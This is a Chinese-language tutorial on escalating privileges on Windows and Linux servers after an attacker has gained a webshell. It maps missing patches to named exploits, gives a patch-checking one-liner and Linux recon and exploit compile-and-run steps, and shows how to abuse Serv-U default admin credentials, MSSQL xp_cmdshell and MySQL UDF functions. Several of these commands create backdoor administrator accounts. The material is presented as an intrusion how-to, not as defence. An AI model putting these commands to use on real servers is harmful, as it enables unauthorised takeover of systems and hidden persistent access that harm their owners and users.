服务器提权
提权原理
什么是提权:
提权,顾名思义就是提高自己在操作系统中的权限,就比如在windows中你本身登录的用户是guest,然后通过提权后就变成超级管理员,拥有了管理Windows的所有权限。提权是黑客的专业名词,一般用于网站入侵和系统入侵中。
web服务器的提权:
通过基础的漏洞,在服务器上getshell或者获取到一定的访问权限,然后通过探查获取更多的权限,最终获取到管理员的权限。
服务器提权分类:
常见的有Windows提权和Linux系统提权。继续向下可以分为系统本身的漏洞提权和第三方服务的提权。
系统漏洞:
第三方服务:
- FTP提权:serv-u ftp提权
- Mssql提权:xp_cmdshell提权
- Mysql提权:UDF提权和Mof提权
- 等等。。。
windowns提权
先获取系统信息:
可以在系统中执行cmd命令,systeminfo,查看系统版本和已经安装的补丁。在菜刀中可以打开虚拟终端,如果cmd不能执行,可以考虑使用自己上传cmd.exe。在一些网站中禁用了系统命令函数,则不能利用系统漏洞提权。
根据已知的补丁寻找对应的漏洞和poc,exp。
- KB2360937 MS10-084
- KB2478960 MS11-014
- KB2507938 MS11-056
- KB2566454 MS11-062
- KB2646524 MS12-003
- KB2645640 MS12-009
- KB2641653 MS12-018
- KB944653 MS07-067
- KB952004 MS09-012 PR
- KB971657 MS09-041
- KB2620712 s
- KB2393802 MS11-011
- kb942831 MS08-005
- KB2503665 MS11-046
- KB2592799 MS11-080
- KB956572 MS09-012 巴西烤肉
- KB2621440 MS12-020
- KB977165 MS10-015 Ms Viru
获取可以利用的漏洞脚本:
systeminfo>C:\Windows\Temp\temp.txt&(for %i in (KB3057191 KB2840221 KB3000061 KB2850851 KB2711167 KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 KB942831 KB2503665 KB2592799 KB956572 KB977165 KB2621440) do @type C:\Windows\Temp\temp.txt| @find /i “%i”|| @echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\temp.txt
利用脚本提权:
- 利用已知的各种版本的系统漏洞,进行系统提权。
- pr: –pr.exe
- iis6溢出: –iis6.exe
- x64.exe/x32.exe等
- 等。。。
Windows内核漏洞集合:
linux提权
针对Linux系统:
需要网站开启了执行系统命令的函数。 可以找到对应版本的漏洞。
查看系统版本信息:
- cat /etc/issue
- cat /etc/*-release
- cat /etc/lsb-release
- cat /etc/redhat-release
- dmesg | grep Linux
- ls /boot | grep vmlinuz
查看内核版本信息:
- cat /proc/version
- uname -a
- uname -mrs
- rpm -q kernel
获取对应版本的exp:
利用:
- 上传exp.c(可以直接上传,使用编辑器添加)
- 使用gcc编译exp(gcc exp.c -o exploit [-lpthread])
- 运行exp(./exploit)
第三方服务
FTP提权:
Serv-u是ftp的本地默认管理工具,默认端口是:43958,默认管理员:LocalAdministrator,默认密码:#l@$ak#.lk;0@P,这是集成在Serv-u内部的,可以以Guest权限来进行连接,对Serv-u进行管理。拿到webshell,通过本地链接Serv-u,获取到管理员权限。
Mssql提权:
Mssql如果通过管理员权限运行,并且以sa账户登陆,可以直接以管理员执行系统命令。(xp_cmdshell)默认情况下mssql的这个功能是被关闭的,通过命令开启: EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;
如果xp_cmdshell被删除,可以尝试上传xplog70.dll进行恢复,恢复语句: Exec master.dbo.sp_addextendedproc ‘xp_cmdshell’,’D:\xplog70.dll’
推荐开启xp_cmdshell
- 如果支持多语句执行:
exec master..xp_cmdshell “whoami”; - 如果不支持多语句执行;
select * from openrowset(‘sqloledb’,’trusted_connection=yes’,’set fmtonly off exec master..xp_cmdshell ”net user luan lu4n.com /add’‘’) - 两个特殊的mssql执行系统命令:
https://hack0nair.me/2013-04-15-mssql-e4-b8-ad-e4-b8-a4-e7-a7-8d-e7-89-b9-e5-88-ab-e7-9a-84-e6-89-a7-e8-a1-8c-e5-91-bd-e4-bb-a4-e7-9a-84-e6-96-b9-e6-b3-95/
Mysql提权:
mysql如果以管理员权限运行,可以利用Udf和Mof提权。
在windows中:上传udf.dll,MYSQL 5.1以下版本导出路径:
- C:\Winnt\udf.dll 2000
- C:\Windows\udf.dll
2003(有的系统\被转义,需要改为C:\Windows\udf.dll)
-导出DLL文件,导出时请勿必注意导出路径(一般情况下对任何目录可写,无需考虑权限问题)
MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数
在windows中执行系统命令:
- 上传udf.dll,执行mysql命令。
- returns string soname ‘导出的DLL路径’;
- create function cmdshell returns string soname ‘udf.dll’;
- select cmdshell(‘net user arsch arsch /add’);
- select cmdshell(‘net localgroup administrators arsch /add’);
- drop function cmdshell;
在Linux中:
- 获取路径:
- show variables like “%plugin%”;
- 上传lib_mysqludf_sys.so,
- 上传目录一般是 mysql/plugin/
- 执行mysql命令:
- CREATE FUNCTION sys_exec RETURNS STRING SONAME lib_mysqludf_sys.so
- SELECT * FROM information_schema.routines
- select sys_exec(‘whoami’); – (执行系统命令)
- Sqlmap进行udf提权
http://blog.ourren.com/2015/03/10/linux_mysql_udf_shell/